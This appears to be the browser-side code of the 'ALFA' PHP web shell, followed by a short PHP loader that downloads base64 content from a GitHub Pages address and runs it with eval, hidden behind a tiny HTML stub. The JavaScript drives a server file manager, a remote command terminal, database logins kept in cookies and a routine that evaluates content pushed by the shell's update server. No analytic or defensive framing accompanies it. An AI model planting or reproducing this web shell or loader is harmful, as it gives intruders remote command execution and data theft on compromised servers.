0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="/var/www/html/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file to:";break;case"move":a="Current Path:",i="Enter the file path that you want to move this file to:";break;case"extract":a="Files to extract:",i="Enter the path you wish to extract the files to and click Extract:"}var l=e.getAttribute("fname"),r=e.getAttribute("path"),o=t.charAt(0).toUpperCase()+t.slice(1);if("permission"==t){d.querySelector("#shortcutMenu-holder").style.height="222px",o="Change Permissions",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="block",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="none";var n=e.getAttribute("perm"),s=n.substr(1,1),c=n.substr(2,1),u=n.substr(3,1);d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s,d.querySelector("#shortcutMenu-holder > form input[name=g]").value=c,d.querySelector("#shortcutMenu-holder > form input[name=w]").value=u,autoCheckPerms(s,"u",["u","g","w"]),autoCheckPerms(c,"g"),autoCheckPerms(u,"w")}else d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\{version\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),true?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?'<span class="header_values" style="margin-left: 4px;">'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();
</script><script src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js" id="sortable-plugin"></script>


</body></html>

Original PHP code

<?php
$r3d = "https://cavdar59.github.io/alfa";
$l3nin = file_get_contents($r3d); 
eval("?>".(base64_decode($l3nin)));
?>
<!DOCTYPE html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<div style="display: none;">
<h1>AllFa</h1>
</html>